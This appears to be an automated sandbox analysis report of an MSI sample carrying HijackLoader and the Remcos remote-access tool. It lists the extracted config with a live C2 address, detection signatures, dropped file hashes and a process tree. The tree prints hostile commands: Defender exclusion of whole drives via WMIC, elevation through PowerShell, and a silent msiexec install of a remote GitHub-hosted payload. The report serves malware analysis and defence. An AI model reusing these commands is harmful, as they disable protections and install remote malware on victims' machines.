Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/12/2024, 02:56

General

  • Target
    bdb79800e4177b59b3830ae7cc996a41fc2b560593e7b51e02408c062f8d4449.msi
  • Size 3.1MB
  • Sample241201-de23msvkcy
  • SHA256 bdb79800e4177b59b3830ae7cc996a41fc2b560593e7b51e02408c062f8d4449
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • v2

C2
  • 185.157.162.126:1995

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    qsdazeazd-EL00KX

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Use of msiexec (install) with remote resource 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 21 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Delays execution with timeout.exe 5 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\bdb79800e4177b59b3830ae7cc996a41fc2b560593e7b51e02408c062f8d4449.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1908
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:316
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 5A3D4CDFE7710FDCCF3225F78A2F3DF5
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3888
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\updt\lola.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:388
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:3848
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:1740
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:3308
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:3580
        • C:\Windows\system32\timeout.exe
          timeout /t 3 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:768
        • C:\Windows\system32\cscript.exe
          cscript //nologo "C:\Users\Admin\AppData\Local\Temp\updt\runTaskAsAdmin.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:3012
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-Process wscript.exe -ArgumentList '""C:\Users\Admin\AppData\Local\Temp\updt\task.vbs""' -Verb runAs"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4928
            • C:\Windows\system32\wscript.exe
              "C:\Windows\system32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\updt\task.vbs
              5⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:1852
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1596
                • C:\Windows\System32\Wbem\WMIC.exe
                  Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
                  7⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1472
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3508
                • C:\Windows\System32\Wbem\WMIC.exe
                  Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
                  7⤵
                    PID:3736
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1028
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im cmd.exe
                    7⤵
                    • Kills process with taskkill
                    PID:2804
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1608
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im msiexec.exe
                    7⤵
                    • Kills process with taskkill
                    PID:1728
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c echo Script started >> "C:\Users\root\Desktop\wix\log.txt"
                  6⤵
                    PID:2232
                  • C:\Windows\System32\wscript.exe
                    "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\updt\secondaryTask.vbs" /b
                    6⤵
                    • Checks computer location settings
                    • Suspicious use of WriteProcessMemory
                    PID:1768
                    • C:\Windows\System32\msiexec.exe
                      "C:\Windows\System32\msiexec.exe" /i https://github.com/Kroby5444/Jim/raw/refs/heads/main/Slf.msi /qn
                      7⤵
                      • Use of msiexec (install) with remote resource
                      PID:2244
            • C:\Windows\system32\timeout.exe
              timeout /t 60 /nobreak
              3⤵
              • Delays execution with timeout.exe
              PID:4420
        • C:\Windows\system32\msiexec.exe
          C:\Windows\system32\msiexec.exe /V
          1⤵
          • Blocklisted process makes network request
          • Enumerates connected drives
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3512
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding FB2586DED5BA517E57CD346040877B5A
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:4304
          • C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
            "C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe"
            2⤵
            • Suspicious use of SetThreadContext
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:552
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\SysWOW64\cmd.exe
              3⤵
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:1224
              • C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
                C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
                4⤵
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:460
          • C:\Users\Admin\AppData\Local\Temp\Updwork.exe
            "C:\Users\Admin\AppData\Local\Temp\Updwork.exe"
            2⤵
            • Suspicious use of SetThreadContext
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3120
            • C:\Windows\SysWOW64\WerFault.exe
              "C:\Windows\System32\WerFault.exe"
              3⤵
                PID:2240
          • C:\Windows\SysWOW64\DllHost.exe
            C:\Windows\SysWOW64\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}
            1⤵
            • System Location Discovery: System Language Discovery
            PID:4356

          Network

                MITRE ATT&CK Enterprise v15

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                Downloads

                e57d18b.rbs

                • Path C:\Config.Msi\e57d18b.rbs
                • Size 2KB
                • SHA256 e30e7105808cf583127e6741a3b380859a4d062b577c92888f80371dd2c0b7dc
                • MD5 SHA1 SHA512

                e581819.rbs

                • Path C:\Config.Msi\e581819.rbs
                • Size 2KB
                • SHA256 8d10447bd17e3913dd5a0cdaa45dc9bc7e14731a34f9ef4ab60231ffae684e32
                • MD5 SHA1 SHA512

                8e5485ae

                • Path C:\Users\Admin\AppData\Local\Temp\8e5485ae
                • Size 1.0MB
                • SHA256 4906a50a14f76f863b319019c0b8746f7b9f83587e2ddee45f439cc01549ec3a
                • MD5 SHA1 SHA512 SSDEEP

                EHttpSrv.exe

                • Path C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
                • Size 20KB
                • SHA256 effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659
                • MD5 SHA1 SHA512 SSDEEP

                MFC80U.DLL

                • Path C:\Users\Admin\AppData\Local\Temp\MFC80U.DLL
                • Size 1.0MB
                • SHA256 a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36
                • MD5 SHA1 SHA512 SSDEEP

                MSI7cf94.LOG

                • Path C:\Users\Admin\AppData\Local\Temp\MSI7cf94.LOG
                • Size 49KB
                • SHA256 ab8c466166e80b35ceff5880cc1dfc575f04145718c05153dc50551cbdd739da
                • MD5 SHA1 SHA512 SSDEEP

                zlib1.dll

                • Path C:\Users\Admin\AppData\Local\Temp\RaftelibeGarss\zlib1.dll
                • Size 363KB
                • SHA256 a91f13aece1ea7ebe326f0e340bda9d00613d3365cd81b7f138a4c9446ffbd38
                • MD5 SHA1 SHA512 SSDEEP

                Updwork.exe

                • Path C:\Users\Admin\AppData\Local\Temp\Updwork.exe
                • Size 494KB
                • SHA256 7d57b704dd881413e7ee2effb3d85bdfff1e208b0f3f745419e640930d9d339d
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_enlayh4y.32l.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_enlayh4y.32l.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                audiogram.tif

                • Path C:\Users\Admin\AppData\Local\Temp\audiogram.tif
                • Size 877KB
                • SHA256 ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6
                • MD5 SHA1 SHA512 SSDEEP

                http_dll.dll

                • Path C:\Users\Admin\AppData\Local\Temp\http_dll.dll
                • Size 883KB
                • SHA256 55497a3eced5d8d190400bcd1a4b43a304ebf74a0d6d098665474ed4b1b0e9da
                • MD5 SHA1 SHA512 SSDEEP

                s.txt

                • Path C:\Users\Admin\AppData\Local\Temp\s.txt
                • Size 1B
                • SHA256 8e35c2cd3bf6641bdb0e2050b76932cbb2e6034a0ddacc1d9bea82a6ba57f7cf
                • MD5 SHA1 SHA512

                lola.bat

                • Path C:\Users\Admin\AppData\Local\Temp\updt\lola.bat
                • Size 1KB
                • SHA256 21b802db9fe353cb25f8f9c0a9614d021f4b5ea9c8e8d4c470eb2ebe5a206efb
                • MD5 SHA1 SHA512

                runTaskAsAdmin.vbs

                • Path C:\Users\Admin\AppData\Local\Temp\updt\runTaskAsAdmin.vbs
                • Size 659B
                • SHA256 cb7294f1c425ad49aa0e487d36cfb580c303db25d1f69ea3fa08d81d29fc21ba
                • MD5 SHA1 SHA512

                secondaryTask.vbs

                • Path C:\Users\Admin\AppData\Local\Temp\updt\secondaryTask.vbs
                • Size 876B
                • SHA256 23723f9b4239194a21bf0df559f9e9df8aec1399899346311c09cdcd91a9f1b0
                • MD5 SHA1 SHA512

                task.vbs

                • Path C:\Users\Admin\AppData\Local\Temp\updt\task.vbs
                • Size 2KB
                • SHA256 d88e84ec97091ad59b8ce69b5c678e210514bde7f880f6e72367cefc35053c9c
                • MD5 SHA1 SHA512

                MSI141F.tmp

                • Path C:\Windows\Installer\MSI141F.tmp
                • Size 3.4MB
                • SHA256 6ed0c218b751ec93293b5922e783b7a9b147a3c7cd6070022cd707050108d321
                • MD5 SHA1 SHA512 SSDEEP

                MSID225.tmp

                • Path C:\Windows\Installer\MSID225.tmp
                • Size 557KB
                • SHA256 ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550
                • MD5 SHA1 SHA512 SSDEEP

                MSID42B.tmp

                • Path C:\Windows\Installer\MSID42B.tmp
                • Size 1.1MB
                • SHA256 745de246181eb58f48224e6433c810ffbaa67fba330c616f03a7361fb1edb121
                • MD5 SHA1 SHA512 SSDEEP

                ngen.log

                • Path C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log
                • Size 156KB
                • SHA256 c88c4fad6d74c90169117c5694c06ba5f33b09c5ee9a1ad285bc39eccc86bbc2
                • MD5 SHA1 SHA512 SSDEEP

                memory/460-154-0x0000000000410000-0x0000000000494000-memory.dmp

                memory/460-149-0x0000000000410000-0x0000000000494000-memory.dmp

                memory/460-159-0x0000000000410000-0x0000000000494000-memory.dmp

                memory/460-156-0x0000000000410000-0x0000000000494000-memory.dmp

                memory/460-153-0x0000000000410000-0x0000000000494000-memory.dmp

                memory/460-158-0x0000000000410000-0x0000000000494000-memory.dmp

                memory/460-157-0x0000000000410000-0x0000000000494000-memory.dmp

                memory/460-143-0x0000000073150000-0x00000000743A4000-memory.dmp

                memory/460-145-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

                memory/460-146-0x0000000000410000-0x0000000000494000-memory.dmp

                memory/460-155-0x0000000000410000-0x0000000000494000-memory.dmp

                memory/460-150-0x0000000000410000-0x0000000000494000-memory.dmp

                memory/552-121-0x0000000075A50000-0x0000000075BCB000-memory.dmp

                memory/552-136-0x0000000075A50000-0x0000000075BCB000-memory.dmp

                memory/1224-139-0x00007FFE0FC50000-0x00007FFE0FE45000-memory.dmp

                memory/1224-141-0x0000000075A50000-0x0000000075BCB000-memory.dmp

                memory/2240-127-0x0000000000400000-0x0000000000449000-memory.dmp

                memory/3120-122-0x0000000062E80000-0x0000000062EE3000-memory.dmp

                memory/4928-49-0x0000024515620000-0x0000024515642000-memory.dmp